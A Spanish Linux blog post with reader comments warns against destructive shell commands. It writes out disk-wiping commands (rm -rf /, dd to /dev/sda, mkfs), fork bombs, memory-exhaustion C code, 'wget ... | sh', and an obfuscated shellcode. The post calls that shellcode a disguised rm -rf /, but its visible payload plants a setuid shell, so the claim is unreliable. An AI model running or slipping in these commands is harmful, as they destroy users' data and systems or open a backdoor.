Comandos letales en Linux. Ni se te ocurra.
Los usuarios de Linux siempre presumimos de lo potente que es el intérprete de comandos, que nos permite controlar nuestro sistema a nuestro antojo y con una potencia que es muy difícil de lograr con un entorno gráfico.
Fuente: DeviantArt.
Sin embargo y como dice el famoso anuncio, “la potencia sin control no sirve de nada“. O más bien, “la potencia sin control puede causar estragos” en nuestras distribuciones Linux, porque hay comandos Linux o combinaciones de comandos que pueden acabar con todo aquello en lo que habíamos trabajado en nuestro sistema.
Es precisamente lo que nos recuerdan desde Linux * Screw, donde avisan de que jamás de los jamases ejecutéis estos comandos en una consola de comandos. ¡¡Avisados quedáis!!
1. Cualquiera de estos comandos borrará todo lo que tengáis en vuestro directorio personal, en la raíz o en el disco:
sudo rm -rf / rm -rf .* dd if=/dev/zero of=/dev/sda mkfs.ext3 /dev/hda loquesea > /dev/hda cd ~; for x in `ls`; do mv -f $x $y; y=$x; done find -type f -mtime +30 -exec mv {} /dev/null \; mv ~ /dev/null mv / /dev/null
2. Con estos comandos conseguirás un kernel panic o dejar tu sistema tonto:
dd if=/dev/random of=/dev/port :(){:|:&};:
A esto último se le conoce como fork bomb
3. Comando que hace lo mismo que “rm -rf /”, pero en plan enrevesado:
char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
4. Con este ya no podrás ejecutar comandos con privilegios de superusuario:
rm -f /usr/bin/sudo;rm -f /bin/su
¿Alguien conoce algún comando destroza-sistemas adicional? ;)

















[...] http://www.muylinux.com/2009/12/03/comandos-letales-en-linux-ni-se-te-ocurra/#more-4703 [...]
Algunos ya los conocia.
El 3 es muy LOL
Antes había un pequeño programita en C que dejaba tonto cualquier Linux, nos divertíamos en clase jodiendo al compañero mediante SSH.
era algo así:
#include
int main(void)
{
while(1)
{
malloc(10000);
}
}
Empezaba a reservar memoria hasta chupársela toda, petando el ordenador.
PD: El include es stdlib.h
PD2: No necesitabas ningún privilegio “root” para ejecutarlo.
Los copy-pega de terminal tiene ke andar con ojo.Un saludo
[...] y=$x; done find -type f -mtime +30 -exec mv {} /dev/null ; mv ~ /dev/null mv / /dev/null Fuente: MuyLinux.com [...]
Para borrar el disco duro sin poder recuperar los datos:
for i in $(seq N); do dd if=/dev/urandom of=/dev/sda; done
Donde N es el número de veces que quieres que se repita el borrado y sustitución con números aleatorios. Cuantas más veces lo pases, más difícil será para un recuperador de discos obtener cualquier información útil.
Se puede usar /dev/random que es más aleatorio, pero tardaría mucho más y los discos duros no son precisamente pequeños ahora.
Ni que decir, que donde pone “sda”, podría ser cualquier otro dispositivo de almacenamiento.
[...] FUENTE Categorías:Linux Etiquetas:Linux Comentarios (0) Trackbacks (0) Deja un comentario Trackbacks [...]
Yo me se uno muy chulo para dejar al S.O completamente tonto. sudo install Windows zajajajaj
Otro letal, pruebenlo.
yum remove openssl
Saludos
Muy cierto, mucho cuidado al copiar a la terminal, la primera vez que instale ubuntu a los 2 días acabe con el directorio raíz al usar “rm -rf /”, cuando solo quería borrar un archivo. Era un disco duro para hacer pruebas, solo perdí el tiempo que me pase poniéndolo a mi gusto. Saludos.
Yo conozco uno:
Instala un Luser (asi el error siempre está entre el teclado y la silla)
Formatear e instalar windows con el cd
[...] http://www.muylinux.com Clasificado en: General Sin Comentarios Comments (0) Trackbacks (0) ( subscribe to [...]
El 3 es demasiado XD, madre mía.
¡Saludos!
Algunas de estas “gracias” se pueden evitar poniendo límites al sistema, con el comando ulimit, por ejemplo. Otra solución a otras gracias es teniendo determinados ficheros y directorios bien protegidos con permisos adecuados y/o con atributos (man chattr).
Yo he metido uno y no fun
#include
#include
main(){
int x;
x=0;
while(x==0){
system(“eject”);
system(“sleep 1″);
system(“eject -t”);
system(“sleep 2″);
}
}
nota los menor que stdio.h y la stdlib mayor que, me los tomo como comandos
letales, dicen?
basta con que Stallman te vea instalando el plugin de Flash para que tu compu (y talvez tu) sufran daños irreparables…
JaD!
Como dice una bomba fork, haces 1 archivo bash que enlace a consola y desde la consola se enlace a si mismo, no lo deja inutilizable pero por lo menos hasta que reinicies la computadora no funciona, porque se llama a si mismo tantas veces desde la consola que abres infinitas consolas y se traba.
Eso no lo sabia =s
Tendré que estudiarlo porque una vez dañé el sistema, no fue por eso, pero ahora me dio miedo escribir comandos al azar cuando me pongo a practicar en la consola.
rm -rf /
Epic Fail en toda regla xD
Esto quiere decir que Linux es tan hackeable desde la consola ?
Por ejemplo si alguien se mete de forma remota a la maquina por SSH puede dejar una cagada grande ? Oo o estoy entendiendo mal.
@Searcher: Lo primero que hay que tener en cuenta es que no hay ningún sistem ainfalible, así que respondiendo a tu pregunta: sí, Linux es “hackeable” o, mejor dicho, crackeable (no debemos confundir hackear con crackear).
Expandiendo la respuesta, Linux tiene muchas ventajas. Por ejemplo, tienes muchas herramientas de control, he puesto el ejemplo de ulimit y chattr. Por desgracia, la gente no las usa todo lo que debería y hay veces que los permisos no son los correctos (para permitir que los usuarios puedan hacer más cosas de lo permitido).
Linux es muy modular (como cualquier otro Unix) por lo que puedes eliminar mucho sw innecesario, tiene muchas herramientas para poder monitorizar y securizar el sistema. Algunos dirán que este tipo de herramientas existen también para sistemas operativos no abiertos, la diferencia es que en Linux (y los demás sistema soperativos abiertos), dichas herramientas son de libre distribución y acarrean todas las ventajas que eso trae:
– precio
– desarrollo abierto
– comunidad
– …
el 4) no me parece tan cierto…
acaso no podrás loguearte como root en una consola de login, me refiero a si te vas a Ctrl + Alt + F1,2,3,4,5,6,7 dependiendo de que Distro uses? XD
@felipe portales: no, al borrar los ejecutables de root, te quedas sin acceso de root.
por lo demas, interesante. ya sabemos lo que NO hay que hacer.
Por ahi en un f oro habia hecho un post con estos comando prohibidos…. son 7 haha asi que te gane con mi lista…
1. rm -rf /Esto borrará recursivamente y de manera forzada todos los archivos de tu directorio raíz, o root.
2. char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64 \x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d \x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16 \xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74 \x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62 \x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”; Esta es la versión hexadecimal de [rm -rf /], que podría confundir a los más experimentados.
3. mkfs.ext3 /dev/sdaSe formateará (o borrará) todos los archivos en el dispositivo mencionado después del comando mkfs.
4. :(){:|:&};: Conocido como forkbomb, le ordenará a tu sistema ejecutar una gran cantidad de procesos hasta que éste se congele. Frecuentemente puede llevarnos a datos corruptos.
5. cualquier_comando > /dev/sdaCon este comando, se escribirá información en un block que usualmente corresponde al sistema de archivos, lo que resulta en una pérdida total de información.
6. wget http://alguna_fuente_desconocida -O- | shNunca descargues archivos de fuentes desconocidas, pues después podrías ejecutar cualquier código malicioso que se te envíe.
7. mv /home/tu_nombre/* /dev/nullSe moverán todos los archivos en tu directorio home a un lugar que no existe. Esto quiere decir que no volverás a ver esos documentos de nuevo.
“sudo install Windows ” ese me ha gustado JAJAJAJAJA
[...] Para saber más del tema pueden ingresar al blog de rm -rf / y en Muy Linux. [...]
sudo wget http://www.google.es -O /dev/hda
@picajoso.
Qué hace este comando. cd ~; for x in `ls`; do mv -f $x $y; y=$x; done?
@a
Qué se supone que le hace a tú SO el bajarte la web del google?
Todo el mundo deberia saber que despues de instalar cualquier sistema operativo, cualquier programa o software de cualquier tipo, HAY QUE CONFIGURAR dicho software, y sobre todo los sistemas operativos.
En Linux, BSD, OSX o windows, en cualquiera de ellos deberemos adaptar la configuracion preestablecida a nuestras necesidades y/o espectativas para el sistema.
La mayor diferencia entre unos sistemas y otros es la mayor o menor posibilidad de configurar y adaptar, y esta claro que cuanto mas abierto sea el sistema mas opciones te da.
Si nos centramos en distribuciones GNU/Linux la gran diferencia esta en la configuracion por defecto de unas y otras, las hay mas seguras y las hay mas vulnerables.
Si quiero un sistema seguro, instalo Centos o Debian (Etch o Lenny), con muy pocos ajustes y siguiendo los consejos de seguridad oficiales, no tendreis que preocuparaos de esos comandos, que por otro lado, no deberia recordar, en el extrañisimo caso de tener que utilizarlos, hay que ser muy cuuidadoso.
Un Saludo.